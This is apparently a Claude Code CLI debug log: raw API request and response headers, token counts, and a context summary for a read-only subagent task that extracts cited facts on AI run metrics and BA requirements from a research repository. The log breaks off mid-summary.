...],\n[2026-09-29T07:48:05.046Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:48:05.048Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:48:05.051Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:48:05.053Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:48:05.055Z] [STDOUT]       stream: true,\n[2026-09-29T07:48:05.057Z] [STDOUT]     },\n[2026-09-29T07:48:05.059Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:48:05.061Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:48:05.088Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:48:05.095Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:48:05.098Z] [STDOUT]       aborted: false,\n[2026-09-29T07:48:05.101Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:48:05.107Z] [STDOUT]       onabort: null,\n[2026-09-29T07:48:05.110Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:48:05.113Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:48:05.115Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:48:05.119Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:48:05.123Z] [STDOUT]     },\n[2026-09-29T07:48:05.127Z] [STDOUT]     stream: true,\n[2026-09-29T07:48:05.130Z] [STDOUT]   },\n[2026-09-29T07:48:05.132Z] [STDOUT]   headers: {\n[2026-09-29T07:48:05.139Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:05.146Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:48:05.149Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:05.152Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:48:05.154Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:05.161Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:05.164Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:05.173Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:05.178Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:05.182Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:48:05.185Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:48:05.192Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=3386\",\n[2026-09-29T07:48:05.207Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:48:05.227Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:48:05.250Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:05.257Z] [STDOUT]     \"x-client-request-id\": \"3557856b-7951-4b98-ac9b-422ae5efd2bc\",\n[2026-09-29T07:48:05.273Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:05.494Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:05.529Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:05.601Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:05.640Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:05.673Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:05.704Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:05.788Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:48:05.846Z] [STDOUT]   },\n[2026-09-29T07:48:05.849Z] [STDOUT] }\n[2026-09-29T07:48:05.852Z] [STDOUT] [log_917b24, request-id: \"req_011CfXMxZg7sVxWFUVZtAjA9\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 832ms\n[2026-09-29T07:48:05.856Z] [STDOUT] [log_917b24] response start {\n[2026-09-29T07:48:05.859Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:05.863Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:05.866Z] [STDOUT]   headers: {\n[2026-09-29T07:48:05.869Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:05.879Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:05.884Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:05.890Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:05.895Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:05.907Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:05.917Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:05.920Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:05.923Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:05.932Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:05.951Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:05.953Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:05.959Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:05.963Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:05.969Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:05.977Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:05.986Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:05.988Z] [STDOUT]     \"cf-ray\": \"a429622addf829ad-FRA\",\n[2026-09-29T07:48:05.998Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:48:06.122Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:06.159Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:06.183Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:06.191Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:48:05 GMT\",\n[2026-09-29T07:48:06.196Z] [STDOUT]     \"request-id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:06.198Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:48:06.201Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:06.331Z] [STDOUT]     traceresponse: \"00-40ad11aca6966016592707165a6600fd-d39ec0d6d3abda47-01\",\n[2026-09-29T07:48:06.341Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:06.356Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:06.364Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:06.378Z] [STDOUT]   },\n[2026-09-29T07:48:06.393Z] [STDOUT]   durationMs: 832,\n[2026-09-29T07:48:06.396Z] [STDOUT] }\n[2026-09-29T07:48:06.398Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:48:06.403Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:48:05 GMT\",\n[2026-09-29T07:48:06.408Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:06.412Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:06.430Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:48:06.435Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:06.438Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:06.442Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:06.448Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:48:06.456Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:06.486Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:06.494Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:06.503Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:06.508Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:06.512Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:06.517Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:06.523Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:06.532Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:06.535Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:06.546Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:06.575Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:06.582Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:06.590Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:06.596Z] [STDOUT]   \"request-id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:06.605Z] [STDOUT]   \"traceresponse\": \"00-40ad11aca6966016592707165a6600fd-d39ec0d6d3abda47-01\",\n[2026-09-29T07:48:06.611Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:06.625Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:06.658Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:48:06.662Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:06.680Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:06.685Z] [STDOUT]   \"cf-ray\": \"a429622addf829ad-FRA\",\n[2026-09-29T07:48:06.740Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:48:06.834Z] [STDOUT] [log_917b24] response parsed {\n[2026-09-29T07:48:06.856Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:06.859Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:06.863Z] [STDOUT]   body: X {\n[2026-09-29T07:48:06.872Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:48:06.875Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:48:06.878Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:48:06.880Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:48:06.882Z] [STDOUT]     },\n[2026-09-29T07:48:06.885Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:48:06.889Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:48:06.893Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:48:06.896Z] [STDOUT]   },\n[2026-09-29T07:48:06.899Z] [STDOUT]   durationMs: 867,\n[2026-09-29T07:48:06.904Z] [STDOUT] }\n[2026-09-29T07:48:07.264Z] [INFO] {\n[2026-09-29T07:48:07.264Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"message\": {\n[2026-09-29T07:48:07.264Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"id\": \"msg_011CfXMxaAPhVLVXwouJe2M2\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:48:07.264Z] [INFO]     \"content\": [\n[2026-09-29T07:48:07.264Z] [INFO]       {\n[2026-09-29T07:48:07.264Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:48:07.264Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:48:07.264Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:48:07.264Z] [INFO]     ],\n[2026-09-29T07:48:07.264Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:07.264Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_creation_input_tokens\": 1174,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_read_input_tokens\": 20685,\n[2026-09-29T07:48:07.264Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:07.264Z] [INFO]         \"ephemeral_5m_input_tokens\": 1174,\n[2026-09-29T07:48:07.264Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:07.264Z] [INFO]       },\n[2026-09-29T07:48:07.264Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:07.264Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:07.264Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:07.264Z] [INFO]     },\n[2026-09-29T07:48:07.264Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:48:07.264Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:48:07.264Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:07.264Z] [INFO]   },\n[2026-09-29T07:48:07.264Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"uuid\": \"4c6f4641-e1d3-4a5a-b45e-a4cd99035f1e\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:07.259Z\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"request_id\": \"req_011CfXMxZg7sVxWFUVZtAjA9\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:07.264Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:07.264Z] [INFO] }\n[2026-09-29T07:48:07.537Z] [STDOUT] [log_a72700] sending request {\n[2026-09-29T07:48:07.543Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:07.548Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.553Z] [STDOUT]   options: {\n[2026-09-29T07:48:07.556Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:07.561Z] [STDOUT]     path: \"/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.563Z] [STDOUT]     body: {\n[2026-09-29T07:48:07.567Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:07.573Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:07.577Z] [STDOUT]       tools: [],\n[2026-09-29T07:48:07.581Z] [STDOUT]     },\n[2026-09-29T07:48:07.583Z] [STDOUT]   },\n[2026-09-29T07:48:07.586Z] [STDOUT]   headers: {\n[2026-09-29T07:48:07.588Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:48:07.591Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,context-management-2025-06-27,token-counting-2024-11-01\",\n[2026-09-29T07:48:07.595Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:48:07.601Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:48:07.610Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:48:07.613Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:48:07.615Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:48:07.618Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:48:07.623Z] [STDOUT]     \"x-claude-code-request-class\": \"auxiliary\",\n[2026-09-29T07:48:07.626Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:07.629Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:48:07.639Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:48:07.655Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:48:07.658Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:48:07.664Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:48:07.671Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:48:07.678Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:48:07.682Z] [STDOUT]   },\n[2026-09-29T07:48:07.687Z] [STDOUT] }\n[2026-09-29T07:48:07.766Z] [STDOUT] [log_a72700, request-id: \"req_011CfXMxkgAU7yoeNZsfHiE1\"] post https://api.anthropic.com/v1/messages/count_tokens?beta=true succeeded with status 200 in 231ms\n[2026-09-29T07:48:07.771Z] [STDOUT] [log_a72700] response start {\n[2026-09-29T07:48:07.775Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.789Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:07.807Z] [STDOUT]   headers: {\n[2026-09-29T07:48:07.813Z] [STDOUT]     \"anthropic-organization-id\": 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[STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:07.901Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:07.907Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:07.911Z] [STDOUT]   },\n[2026-09-29T07:48:07.915Z] [STDOUT]   durationMs: 231,\n[2026-09-29T07:48:07.920Z] [STDOUT] }\n[2026-09-29T07:48:07.945Z] [STDOUT] [log_a72700] response parsed {\n[2026-09-29T07:48:07.949Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages/count_tokens?beta=true\",\n[2026-09-29T07:48:07.955Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:07.958Z] [STDOUT]   body: {\n[2026-09-29T07:48:07.963Z] [STDOUT]     input_tokens: 15355,\n[2026-09-29T07:48:07.966Z] [STDOUT]     _request_id: \"req_011CfXMxkgAU7yoeNZsfHiE1\",\n[2026-09-29T07:48:07.969Z] [STDOUT]   },\n[2026-09-29T07:48:07.974Z] [STDOUT]   durationMs: 231,\n[2026-09-29T07:48:07.977Z] [STDOUT] }\n[2026-09-29T07:48:07.993Z] [INFO] {\n[2026-09-29T07:48:07.993Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:48:07.993Z] [INFO]   \"message\": {\n[2026-09-29T07:48:07.993Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:07.993Z] [INFO]     \"content\": [\n[2026-09-29T07:48:07.993Z] [INFO]       {\n[2026-09-29T07:48:07.993Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:48:07.993Z] [INFO]         \"text\": \"This session is being continued from a previous conversation that ran out of context. The summary below covers the earlier portion of the conversation.\\n\\nSummary:\\n1. Primary Request and Intent\\n\\nThe user asked for a read-only research task on the repo at /tmp/gh-issue-solver-1790667776920 (G-Ivan-A/hybrid-Intelligence-lab).\\n\\nConstraints, as the user gave them: \\\"do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first\\\".\\n\\nThe goal is to extract verified, presentation-worthy facts from research/ba-requirements for an executive presentation to the Head of AI development at Mango. The presentation covers the BA meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. The user asked for five things:\\n1. Empirical snapshots of Mango runs, with numbers and paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the proposed solution: strict prompts plus machine-readable contracts plus fail-closed validation. Find where this is argued or evidenced.\\n3. Two or three lines of key conclusions for each of these subdirs: normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution.\\n4. GigaCode environment facts, skill granularity/format facts, and process taxonomy defects.\\n5. What is new on branch issue-639 compared with main.\\n\\nOther requirements:\\n- Cite every fact with its repo path. Do not invent numbers.\\n- URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\n- URL format for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/\\n- Write the full report to the notes file, then return a concise summary of up to about 1500 words.\\n- No emojis. Use absolute paths.\\n\\n2. Key Technical Concepts\\n\\n- Pipeline modules: M0 normalization, M1 solution-modeling (C-CORE), M2 artifact-rendering (C-OUT), M3 feedback (C-CL), M4 orchestration (C-RK route sheet, axes A1\u2013A6).\\n- Gate types:\\n  - G-self: self-check. It catches form defects, not confidently invented facts (rule T-1).\\n  - G-mach: deterministic machine check, only for decidable properties (criterion \u041a).\\n  - G-human: for irreversible decisions (rule T-2).\\n- Governance L0/L1/L2 delta inheritance versus the execution level, where SKILL.md is the compiled/resolved artifact. The agent never computes deltas at runtime.\\n- Meta-model: 9 entities, later 11 (System and Actor added in v0.2). Skills are subprocesses; routes are directed graphs.\\n- Operation taxonomy: 31 operations in 5 cognitive classes (extract/transform/generate/check/assess). Each operation is \\\"\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\\\" (atomic but semantically complete cognitive action) with a 6-field contract. Atomicity rules are OA-1\u2026OA-6.\\n- Slots S-*, formats F-*, projections V-BIZ/V-APPROVE/V-DEV, a mandatory synthetic Golden Set.\\n- ADR-013 (run modes deprecation), ADR-014 (legacy is evidence, not baseline), ADR-015 (taxonomy rebuild), ADR-016 (skill form/contract format), ADR-018 (GigaCode CLI execution boundary), ADR-019 (Cline + Mango AI pilot).\\n\\n3. Files and Code Sections\\n\\nAll files below are on main and identical on the branch. Main URL prefix: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/\\n\\n**research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md** (mango_ba_prompts commit 524a8eb)\\n- 56 runs, 2026-04-10\u20262026-08-25; run_type statistics 47 / execution 9.\\n- Status: draft 29, works-with-edits 19, partial-success 5, success 1, needs-rework 1, experimental 1.\\n- Prefixes: task- 32, fr- 9, bcreq- 4, prompt- 3.\\n- Metrics (n / sum / median / range):\\n  - episodes 41 / 1080 / 15 / 1\u202683\\n  - iterations 37 / 1052 / 19\\n  - turns 34 / 2084 / 44 / 2\u2026166\\n  - success_rate 18 / median 0.60 / 0.25\u20260.92\\n  - hallucinations 11 / 41 / 3 / 2\u20268\\n  - hallucinations_shipped 11 / 12 / 1 / 0\u20263\\n  - ba_edits 10 / 53 / 6 / 0\u202611\\n  - quality 11 / 31 / 3\\n  - tokens_dialog_total 32 / 61,360,738 / 720,806 / 3,387\u20269,225,333\\n  - duration_wall_clock_s 11 / 1,331,029 / 45,675 / 2,762\u2026522,867\\n- 9 runs had shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts out of 56 runs: \u043f\u043e\u043a\u0440\u044b\u0442 41, \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438 23, \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d 20, \u0434\u043e\u043c\u044b\u0441\u043b 11, \u043a\u0430\u0441\u0442\u043e\u043c 10, \u0442\u0430\u0440\u0438\u0444 7, \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 5, \u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d 3, discoverab 0, deprecat/\u0432\u044b\u0432\u043e\u0434 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 0.\\n- Limitations:\\n  - Hallucinations are recorded under 3 different keys (hallucinations 11, _found 3, _prevented 3).\\n  - success_rate is not comparable across runs.\\n  - Metric fill rate ranges from 10 to 41 of 56 runs.\\n\\n**research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md** (commit ef88a9a)\\n- 57 runs; statistics 47 / execution 10; draft 29, wwe 19, partial 6, success 1, needs-rework 1, experimental 1.\\n- inputs/, logs/ and feedback/ exist in 100% of runs, so the contract is kept in form only.\\n- M1: core-process markers in 15/57 runs; modeling markers in 2/57 (RUN-0002, RUN-0003). No C-CORE exists in practice.\\n- M2: 57/57 runs produce at least 1 document; 23/57 (40.4%) produce more than 1. Distribution 1\u219234, 2\u219211, 3\u219211, 5\u21921 (RUN-0057). L0\u2013L4 audience fan-out in 2 runs (RUN-0056, RUN-0057).\\n- M3: metrics.eval 40 (70.2%), verdict 15 (26.3%), success_rate 16 (28.1%), measured declared 5 (8.8%; true 3, false 2), related_runs 21 (36.8%), hallucinations_shipped>0 in 9 (15.8%).\\n- M4: 71 distinct metrics keys, and no key is universal. episodes appears in 41 runs (71.9%). 24 keys appear in exactly one run. token_method is filled in 41 runs with 24 distinct values. Prompt modes: stepwise 10, oneshot 9, legacy 5, others 3.\\n- No run delivered a contract TZ (per #541).\\n\\n**research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md**\\n- 57 runs; 32 produced at least 1 document (the denominator); 0 produced a TZ; 4 consumed someone else's TZ as input (RUN-0055, RUN-0057).\\n- 4 runs fanned out into multiple documents, 2 of them with L0\u2013L4.\\n- Linear decomposition reaches its terminal contract in 0/32 runs (0%); layered decomposition in 32/32 (100%). The owner's criterion was 80%.\\n\\n**research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md** (commit 8cbf82a)\\n- 67 runs viewed; 125 markdown files split into run-journal 63, analysis-note 45, requirement-document 17.\\n- The 17 documents have 17 distinct skeletons, with no match even as slot sets.\\n- BCREQ-1074 (RUN-0063/0064/0067): 3 documents, 3 skeletons, mean Jaccard 0.69, minimum 0.571. Other groups: 0.286, 0.2, 0.167, 0.333.\\n- Slots: S-OTHER 33 (27 captions), S-SCENARIO 14 sections under 14 captions, S-FR 14/10, S-PROBLEM 10/8, S-LIMITS 9/7, S-SOLUTION 8/6, S-OPEN 7/5, S-GLOSSARY 6/4, S-TRACE 5/3, S-AC 1, S-UI 1.\\n- Formats: F-NARRATIVE 7, F-CLASSIC 6, F-MIXED 3, F-SHORT 1. No run declares its expected format.\\n- There are no clean product samples, which is why the Golden Set has to be synthetic.\\n\\n**research/ba-requirements/2026-09-08-meta-model-inputs-facts.md** (commit 8cbf82a)\\n- 24 active prompts: stepwise 10, oneshot 9, legacy 5. 13 capabilities, duplication 1.85, 9/13 have more than one variant.\\n- 13 variant pairs: mean Jaccard 